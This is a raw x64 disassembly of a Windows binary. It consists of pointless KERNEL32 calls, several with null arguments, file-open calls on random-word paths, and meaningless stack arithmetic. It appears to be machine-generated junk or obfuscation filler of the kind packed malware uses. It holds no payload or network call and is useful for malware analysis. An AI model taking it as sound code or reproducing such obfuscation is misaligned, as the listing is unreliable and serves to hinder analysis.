mov dword [rsp + 0x44dc], eax
mov rax, qword [rsp + 0x9968]
mov rax, qword [rax]
mov qword [rsp + 0x99d0], rax
movzx ecx, word [rsp + 0xc7c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xc00], ax
movsx eax, byte [0x1401e6033]
movsx ecx, byte [rsp + 0x84]
and eax, ecx
mov byte [0x1401e7419], al
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x42f0], eax
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9770]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x94a8]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
lea rax, [rsp + 0xbc4]
mov qword [rsp + 0x99d8], rax
movzx eax, word [rsp + 0xc78]
mov rcx, qword [rsp + 0x91e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc34], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.C:_asceticmillineryUnrequestedDirtiness
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x99e0], rax
movzx eax, word [rsp + 0xbf0]
mov word [rsp + 0xcbc], ax
mov rax, qword [rsp + 0x9360]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9520]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9980], rax
mov rax, qword [rsp + 0x9230]
mov rcx, qword [rsp + 0x97a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8f00]
mov dword [rcx], eax
mov eax, dword [rsp + 0x446c]
mov dword [rsp + 0x44f0], eax
mov rcx, qword [rsp + 0x90d8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4274], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
mov rax, qword [rsp + 0x97d0]
mov rcx, qword [rsp + 0x8ff8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9680], rax
lea rcx, [rsp + 0x267e8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x99e8], rax
mov rcx, qword [rsp + 0x9940]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4440], eax
movzx eax, byte [rsp + 0x7b]
movzx ecx, byte [rsp + 0x91]
or eax, ecx
mov byte [0x1401e6013], al
lea rax, [rsp + 0xc78]
mov qword [rsp + 0x99f0], rax
movsx eax, word [rsp + 0xc4c]
movsx ecx, word [0x1401e6050]
shl eax, cl
mov word [rsp + 0xb74], ax
mov edx, 0x70a
mov rcx, qword [rsp + 0x9058]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x44f4], eax
mov rax, qword [rsp + 0x8e68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9820]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x67], al
mov rax, qword [rsp + 0x92a0]
movzx eax, word [rax]
mov word [rsp + 0xcc0], ax
mov rax, qword [rsp + 0x8cc0]
mov rcx, qword [rsp + 0x92d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9188], rax
mov rax, qword [rsp + 0x9370]
mov rax, qword [rax]
mov qword [rsp + 0x99f8], rax
lea rdx, [rsp + 0x41b4]
mov rcx, qword [rsp + 0x9970]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4368], eax
mov eax, dword [rsp + 0x44c0]
mov ecx, dword [rsp + 0x4348]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4428], eax
mov rax, qword [rsp + 0x9068]
mov eax, dword [rax]
mov ecx, dword [0x1401e741c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4434], eax
lea rax, [rsp + 0x90]
mov qword [0x1401e7528], rax
movzx eax, word [rsp + 0xbcc]
mov word [rsp + 0xcc4], ax
mov rax, qword [rsp + 0x9008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x79]
add eax, ecx
mov rcx, qword [rsp + 0x95c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9430]
movzx eax, word [rax]
mov word [rsp + 0xcc8], ax
movzx eax, byte [rsp + 0x62]
mov rcx, qword [rsp + 0x9368]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9618]
mov byte [rcx], al
mov rax, qword [rsp + 0x9878]
mov ecx, dword [rsp + 0x43dc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x97a8]
mov dword [rcx], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.C:_backfired_addSeespostmodern
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x9a00], rax
mov rcx, qword [rsp + 0x8e30]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x8dd8]
mov qword [rsp + 0x9a08], rax
lea rdx, [rsp + 0x28110]
mov rcx, qword [rsp + 0x9290]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4408], eax
mov rax, qword [rsp + 0x92a8]
mov rcx, qword [rsp + 0x9488]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9850]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x446c]
mov qword [rsp + 0x9a10], rax
movzx eax, word [rsp + 0xc2c]
mov rcx, qword [rsp + 0x9720]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e74b4], ax
mov rax, qword [rsp + 0x9888]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x66]
add eax, ecx
mov byte [rsp + 0x8b], al
movzx eax, word [rsp + 0xbb0]
mov word [rsp + 0xccc], ax
movzx eax, byte [rsp + 0x62]
mov rcx, qword [rsp + 0x93d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x85], al
mov rcx, qword [rsp + 0x99e0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4314], eax
movsx eax, byte [rsp + 0x8a]
movsx ecx, byte [rsp + 0x8d]
or eax, ecx
mov rcx, qword [rsp + 0x99b8]
mov byte [rcx], al
lea rax, [0x1401e7410]
mov qword [rsp + 0x9a18], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
lea rcx, [rsp + 0x25548]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov rcx, qword [rsp + 0x9148]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x44e0], eax
mov rax, qword [rsp + 0x92b0]
mov rcx, qword [rsp + 0x9488]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x97b8]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x44ac]
mov qword [rsp + 0x9a20], rax
mov eax, dword [rsp + 0x43d4]
movzx ecx, al
mov eax, dword [rsp + 0x4488]
sar eax, cl
mov dword [rsp + 0x42c4], eax
mov rcx, qword [rsp + 0x9260]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4310], eax
mov rax, qword [rsp + 0x94b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
shl eax, cl
mov byte [rsp + 0x82], al
mov edx, 0x503ba7
mov rcx, qword [rsp + 0x95c8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4360], eax
mov dword [rsp + 0x2a120], 0x94
mov rax, qword [rsp + 0x8ca8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc9c]
and eax, ecx
mov word [0x1401e6074], ax
mov rax, qword [0x1401e7458]
movzx eax, byte [rax]
mov byte [rsp + 0x95], al
mov rax, qword [rsp + 0x9000]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc78]
sub eax, ecx
mov rcx, qword [rsp + 0x91c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8ca0]
movzx eax, byte [rax]
mov byte [rsp + 0x96], al
mov rax, qword [rsp + 0x96c8]
mov rcx, qword [rsp + 0x9740]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c98], rax
mov eax, dword [rsp + 0x44c4]
mov ecx, dword [rsp + 0x4378]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4370], eax
mov eax, dword [rsp + 0x445c]
mov dword [rsp + 0x44f8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
lea rcx, [rsp + 0x268d8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x9090]
mov rcx, qword [rsp + 0x93b0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9098]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8fe0]
movzx eax, word [rax]
mov word [rsp + 0xcd0], ax
lea rax, [rsp + 0xc34]
mov qword [0x1401e7530], rax
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x9208]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9888]
mov byte [rcx], al
movsx eax, word [rsp + 0xc90]
mov rcx, qword [rsp + 0x8fe0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc20], ax
lea rax, [rsp + 0x7a]
mov qword [rsp + 0x9a28], rax
mov rax, qword [rsp + 0x9458]
mov eax, dword [rax]
imul eax, dword [0x1401e741c]
mov dword [rsp + 0x4434], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
lea rax, [rsp + 0x44c0]
mov qword [rsp + 0x9a30], rax
mov rax, qword [rsp + 0x90a8]
mov rcx, qword [rsp + 0x9680]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x99d0], rax
lea rax, [rsp + 0x93d0]
mov qword [rsp + 0x9a38], rax
movzx eax, byte [rsp + 0x6f]
movzx ecx, byte [rsp + 0x83]
add eax, ecx
mov byte [rsp + 0x57], al
mov rax, qword [rsp + 0x9000]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x92a0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1401e605c], ax
mov rcx, qword [rsp + 0x91e8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, byte [0x1401e6032]
mov rcx, qword [rsp + 0x98b0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9988]
mov byte [rcx], al
movzx eax, byte [rsp + 0x5d]
mov byte [rsp + 0x97], al
mov rax, qword [rsp + 0x9020]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xbe4]
or eax, ecx
mov rcx, qword [rsp + 0x9080]
mov word [rcx], ax
mov eax, dword [rsp + 0x4458]
mov dword [rsp + 0x44fc], eax
mov rax, qword [rsp + 0x91f8]
mov rcx, qword [rsp + 0x9968]
mov qword [rsp + 0x9a40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9a40]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9810]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9950]
mov rcx, qword [rsp + 0x8cd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4244], eax
mov rax, qword [rsp + 0x9948]
mov rax, qword [rax]
mov qword [rsp + 0x9a48], rax
movsx eax, word [rsp + 0xcb8]
mov rcx, qword [rsp + 0x9938]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xcd0], ax
movsx eax, byte [rsp + 0x69]
mov rcx, qword [0x1401e7498]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e6037], al
lea rax, [rsp + 0xbc0]
mov qword [rsp + 0x9a50], rax
mov rax, qword [rsp + 0x96b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xbe4]
sub eax, ecx
mov word [rsp + 0xcb4], ax
mov rax, qword [rsp + 0x99a0]
movzx eax, byte [rax]
mov rcx, qword [0x1401e7518]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7d], al
mov rax, qword [rsp + 0x9310]
movzx eax, word [rax]
mov word [rsp + 0xcd4], ax
mov rax, qword [rsp + 0x9568]
mov ecx, dword [rsp + 0x4390]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x44bc], eax
mov rax, qword [rsp + 0x9090]
mov rax, qword [rax]
mov qword [rsp + 0x9a58], rax
mov eax, dword [rsp + 0x4458]
mov ecx, dword [rsp + 0x43e8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9328]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9418]
mov qword [rsp + 0x9a60], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x9a68], rax
movzx eax, byte [rsp + 0x7c]
movzx ecx, byte [rsp + 0x89]
sub eax, ecx
mov rcx, qword [0x1401e7480]
mov byte [rcx], al
movsx eax, byte [0x1401e741a]
movsx ecx, byte [rsp + 0x90]
add eax, ecx
mov rcx, qword [rsp + 0x98a0]
mov byte [rcx], al
movzx eax, word [rsp + 0xcc0]
mov rcx, qword [rsp + 0x9818]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x90e8]
mov word [rcx], ax
lea rax, [0x1401e605c]
mov qword [rsp + 0x9a70], rax
movsx eax, word [rsp + 0xb98]
movsx ecx, word [rsp + 0xc08]
sar eax, cl
mov rcx, qword [rsp + 0x9570]
mov word [rcx], ax
lea rax, [rsp + 0x4420]
mov qword [rsp + 0x9a78], rax
mov rax, qword [0x1401e6008]
mov rcx, qword [rsp + 0x8e10]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c18], rax
movzx ecx, word [rsp + 0xbac]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xb7c], ax
mov rax, qword [rsp + 0x9068]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4394]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x90f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9188]
mov qword [rsp + 0x9a80], rax
movsx eax, byte [rsp + 0x93]
movsx ecx, byte [rsp + 0x56]
shl eax, cl
mov byte [0x1401e601d], al
mov rax, qword [rsp + 0x8f78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x76]
sub eax, ecx
mov byte [rsp + 0x67], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
mov rcx, qword [rsp + 0x9830]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4500], eax
lea rax, [rsp + 0xc78]
mov qword [rsp + 0x9a88], rax
movzx eax, byte [rsp + 0x95]
mov rcx, qword [0x1401e7518]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5a], al
movsx eax, byte [rsp + 0x60]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x50], al
lea rax, [rsp + 0x44cc]
mov qword [rsp + 0x9a90], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
mov ecx, reloc.COMCTL32.dll_MakeDragList
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x42ec], eax
mov rax, qword [rsp + 0x8f20]
mov rcx, qword [rsp + 0x9390]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9488], rax
mov eax, dword [rsp + 0x42d4]
mov dword [rsp + 0x4504], eax
mov rax, qword [rsp + 0x96f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9828]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x97c0], rax
lea rax, [0x1401e6012]
mov qword [0x1401e7538], rax
mov rax, qword [rsp + 0x9020]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc78]
sub eax, ecx
mov rcx, qword [rsp + 0x9350]
mov word [rcx], ax
lea rax, [rsp + 0x54]
mov qword [rsp + 0x9a98], rax
mov rax, qword [rsp + 0x9430]
movsx eax, word [rax]
movsx ecx, word [0x1401e74e0]
add eax, ecx
mov rcx, qword [rsp + 0x92c8]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov rcx, qword [rsp + 0x9238]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4508], eax
mov rax, qword [rsp + 0x9760]
movzx eax, word [rax]
mov word [rsp + 0xcd8], ax
mov rax, qword [rsp + 0x8c20]
mov rcx, qword [rsp + 0x9488]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8c18], rax
lea rax, [rsp + 0x4270]
mov qword [rsp + 0x9aa0], rax
mov dword [rsp + 0x20], 0x225d
mov r9d, 0x3f8a
mov r8d, 0x12dd
mov edx, 0x3e24
mov rcx, qword [rsp + 0x9900]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4440], eax
mov rax, qword [rsp + 0x9a18]
mov rcx, qword [rsp + 0x92d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x99d0], rax
mov eax, dword [rsp + 0x44e8]
mov ecx, dword [rsp + 0x44cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x44d0], eax
lea rcx, [rsp + 0x254a8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0x9020]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9388]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e6030], ax
mov rax, qword [rsp + 0x9310]
movzx eax, word [rax]
mov word [rsp + 0xcdc], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.C:underpinningsSeparatism_fusionsexpansive
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x9aa8], rax
movsx eax, byte [rsp + 0x59]
movsx ecx, byte [rsp + 0x84]
or eax, ecx
mov byte [rsp + 0x90], al
movzx eax, byte [0x1401e6012]
mov byte [rsp + 0x98], al
movsx eax, word [rsp + 0xbf0]
mov rcx, qword [rsp + 0x9310]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x90f8]
mov word [rcx], ax
mov rcx, qword [rsp + 0x91e8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x44a0], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x8d30], rax
mov rax, qword [rsp + 0x98e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x92d8]
mov qword [rsp + 0x9ab0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9ab0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x95f8], rax
mov rax, qword [rsp + 0x9120]
mov eax, dword [rax]
mov dword [rsp + 0x450c], eax
mov eax, dword [rsp + 0x4228]
movzx ecx, al
mov eax, dword [rsp + 0x43dc]
shr eax, cl
mov dword [rsp + 0x43f8], eax
mov rax, qword [rsp + 0x97d8]
mov rax, qword [rax]
mov qword [rsp + 0x9ab8], rax
mov rax, qword [rsp + 0x9820]
movzx eax, byte [rax]
mov byte [0x1401e743b], al
movzx eax, word [0x1401e7490]
movzx ecx, word [rsp + 0xc8c]
and eax, ecx
mov rcx, qword [rsp + 0x9320]
mov word [rcx], ax
movsx eax, word [rsp + 0xccc]
movsx ecx, word [rsp + 0xb68]
sub eax, ecx
mov word [rsp + 0xc08], ax
mov rax, qword [rsp + 0x8cb0]
movzx eax, byte [rax]
mov byte [rsp + 0x99], al
movzx eax, word [rsp + 0xc5c]
mov rcx, qword [rsp + 0x93c0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc18], ax
lea rax, [rsp + 0x43bc]
mov qword [rsp + 0x9ac0], rax
mov rax, qword [rsp + 0x8f20]
mov rcx, qword [0x1401e6020]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8f68], rax
lea rax, [rsp + 0x4420]
mov qword [rsp + 0x9ac8], rax
mov rax, qword [rsp + 0x96c8]
mov rcx, qword [rsp + 0x9278]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c98], rax
movzx eax, byte [rsp + 0x92]
movzx ecx, byte [0x1401e6013]
add eax, ecx
mov byte [0x1401e603a], al
movzx eax, word [rsp + 0xc14]
mov rcx, qword [rsp + 0x9000]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xbf8], ax
lea rcx, [rsp + 0x29ea0]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x4510], eax
mov rax, qword [rsp + 0x9838]
movzx eax, byte [rax]
mov byte [rsp + 0x9a], al
movsx eax, word [rsp + 0xc90]
mov rcx, qword [rsp + 0x93a0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9938]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6f]
mov byte [rsp + 0x9b], al
mov rax, qword [rsp + 0x91f8]
mov rcx, qword [rsp + 0x9268]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8f88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c18]
movzx ecx, al
mov rax, qword [rsp + 0x9690]
shl rax, cl
mov rcx, qword [rsp + 0x9538]
mov qword [rcx], rax
lea rax, [rsp + 0x44c8]
mov qword [rsp + 0x9ad0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov eax, dword [rsp + 0x4378]
mov rcx, qword [rsp + 0x9030]
mov qword [rsp + 0x9ad8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9ad8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x8e90]
mov dword [rcx], eax
mov rax, qword [0x1401e7430]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9250]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x1401e7530]
mov word [rcx], ax
movzx eax, word [rsp + 0xbc0]
mov word [rsp + 0xce0], ax
mov rax, qword [rsp + 0x9368]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7b]
xor eax, ecx
mov rcx, qword [rsp + 0x91f0]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
mov rax, qword [0x1401e7528]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x79]
and eax, ecx
mov byte [rsp + 0x8a], al
lea rdx, [rsp + 0x8df0]
mov rcx, qword [rsp + 0x8f98]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4514], eax
lea rax, [rsp + 0x7f]
mov qword [rsp + 0x9ae0], rax
lea rdx, [rsp + 0x4430]
mov rcx, qword [rsp + 0x9a00]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x434c], eax
mov rax, qword [rsp + 0x97d8]
mov rcx, qword [rsp + 0x9a38]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9948]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4518], eax
lea rax, [0x1401e741c]
mov qword [rsp + 0x9ae8], rax
mov rcx, qword [rsp + 0x9218]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4454], eax
mov rax, qword [rsp + 0x92c0]
mov rcx, qword [rsp + 0x9160]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9648], rax
mov rax, qword [rsp + 0x9698]
mov ecx, dword [rsp + 0x4204]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x94e8]
mov dword [rcx], eax
mov rax, qword [0x1401e7480]
movzx eax, byte [rax]
mov byte [rsp + 0x9c], al
lea rax, [rsp + 0xcdc]
mov qword [0x1401e7540], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x42f0], eax
mov rax, qword [rsp + 0x9320]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x90e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc28], ax
lea rax, [rsp + 0x7e]
mov qword [rsp + 0x9af0], rax
movzx eax, word [rsp + 0xcc0]
movzx ecx, word [rsp + 0xc5c]
and eax, ecx
mov word [rsp + 0xc28], ax
mov rax, qword [rsp + 0x9048]
mov qword [rsp + 0x9af8], rax
mov rax, qword [rsp + 0x93e0]
mov rcx, qword [rsp + 0x9638]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9518], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x451c], eax
mov rax, qword [rsp + 0x9420]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41bc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x91a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9150]
mov eax, dword [rax]
mov dword [rsp + 0x4520], eax
mov rax, qword [rsp + 0x98a0]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e6032]
add eax, ecx
mov rcx, qword [rsp + 0x99b8]
mov byte [rcx], al
mov rcx, qword [rsp + 0x9870]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, word [rsp + 0xc38]
mov rcx, qword [rsp + 0x8fe0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e7438], ax
movzx eax, word [rsp + 0xc40]
mov word [rsp + 0xce4], ax
movzx eax, byte [rsp + 0x53]
mov rcx, qword [rsp + 0x99c8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9200]
mov byte [rcx], al
movsx eax, byte [rsp + 0x6d]
mov rcx, qword [rsp + 0x9888]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x98b0]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [rsp + 0x8c08]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x437c]
mov qword [rsp + 0x9b00], rax
mov eax, dword [rsp + 0x44b8]
mov rcx, qword [rsp + 0x9780]
mov qword [rsp + 0x9b08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9b08]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x9710]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x9b10], rax
lea rcx, [rsp + 0x9898]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x9800]
mov qword [rsp + 0x9b18], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x8dd8]
mov rcx, qword [rsp + 0x95e8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x94c0], rax
mov edx, 0x7ccf3a
mov rcx, qword [rsp + 0x9848]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4314], eax
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e68]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9200]
mov byte [rcx], al
lea rax, [rsp + 0x8b]
mov qword [0x1401e7548], rax
lea rax, [rsp + 0xc60]
mov qword [rsp + 0x9b20], rax
mov rax, qword [rsp + 0x95d8]
movzx eax, byte [rax]
mov rcx, qword [0x1401e7538]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8fc8]
mov byte [rcx], al
lea rax, [rsp + 0xc88]
mov qword [rsp + 0x9b28], rax
mov rax, qword [rsp + 0x9638]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9268]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9a80], rax
mov rax, qword [rsp + 0x9438]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4450]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9a90]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9758]
